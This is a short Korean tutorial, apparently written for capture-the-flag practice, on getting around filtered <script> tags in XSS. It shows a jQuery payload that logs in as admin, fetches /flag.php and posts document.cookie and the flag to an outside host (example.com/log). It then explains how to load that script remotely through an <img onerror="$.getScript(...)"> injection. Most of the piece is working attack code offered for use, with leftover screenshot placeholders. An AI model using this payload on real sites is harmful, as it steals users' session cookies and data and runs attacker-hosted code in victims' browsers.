XSS를 할때 <script> 태그가 막혀있고, <img src=@ onerror=script>와 같은 tag 안에 script를 넣어 공격을 해야하는 상황에서 긴 script를 넣어야 할때 유용하게 쓸 수 있습니다.

example
$.post("/login.php", {
            'id': 'admin',
        }, function( data ) {
            $.get("/flag.php", function( data ) {
                $.post("http://example.com/log", {
                    'cookie': document.cookie,
                    'flag': data
                    }, function( data ) {
                        console.log(data); 
                 });
             });
});

javascript 코드안에서 js 파일을 import 하는 방법입니다.

https://zetawiki.com/wiki/자바스크립트에서_js_import
-----------2018-07-18------3.32.52

세가지 방법중에 2번째 방법을 사용해서 공격하는 예시입니다.

  1. 개인서버에 위의 코드를 저장합니다. ex: http://example.com/xss.js
  2. xss 공격 페이지에 다음과 같은코드를 넣습니다 <img src=@ onerror="$.getScript(`http://example.com/xss.js`);"/>
  3. 공격 성공

xss.js
-----------2018-07-18------3.37.55

test.html
-----------2018-07-18------3.38.21

run
-----------2018-07-18------3.38.50

공격 대상 서버에서 공격 테스트(디버깅)를 할때도 새로운 코드를 추가했을 때 마다 글을 작성하지 않고 서버에 있는 js 파일을 수정하면 되기 때문에 간편하게 가능합니다.